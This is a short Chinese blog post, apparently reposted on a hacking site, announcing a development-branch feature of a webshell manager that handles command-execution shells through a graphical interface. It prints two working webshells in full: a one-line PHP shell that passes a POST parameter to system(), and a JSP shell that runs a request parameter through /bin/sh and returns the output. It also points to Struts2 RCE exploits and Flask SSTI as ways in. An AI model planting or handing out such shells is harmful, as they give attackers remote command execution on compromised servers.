写在前面
平时见到的 Exp 大家都喜欢直接发命令执行的 Exp (没错我说的就是 struts2 全家桶)。一直以来,有个想法,能不能图形化管理命令执行的WebShell,于是他来了。
正文
比如我们有这么一个 PHP 的 Shell:
<?php system($_POST['ant']);?>
或者是这样一个再普通不过的 JSP WebShell:
<%
if(request.getParameter("cmd")!=null){
java.io.InputStream in = Runtime.getRuntime().exec(new String[]{"/bin/sh","-c",request.getParameter("cmd")}).getInputStream();
int a = -1;
byte[] b = new byte[1];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.print(new String(b));
}
out.print("</pre>");
}
%>
这里得提一嘴, JSP 下用 Runtime.exec 方法时,如果是直接传 Stirng 进去,只能执行一条命令,后面的内容都会当作参数来处理,所以我们在这里使用的是数组。并且在读取命令执行结果时,用 byte 数组的形式的话,得注意内容覆写的问题,别问我为什么这个 WebShell 是这么低效率的,我就是随便找了一个.
再或者是 Struts2 RCE 的 EXP, 或者是 Flask SSTI...
只要有一个可以执行命令的点, 就可以快乐起来 :)
上演示
写在最后
想要尝鲜的小伙伴可以切换到 v2.1.x 开发分支体验,欢迎大家反馈 Bug,正式版将在下个月也可能是下下个月发布,如果到时候能把 Windows 下的也解决了就一起发布了。
本文来自投稿,不代表本站立场,如若转载,请注明出处:https://www.cnhacker.cc/web_security/369.html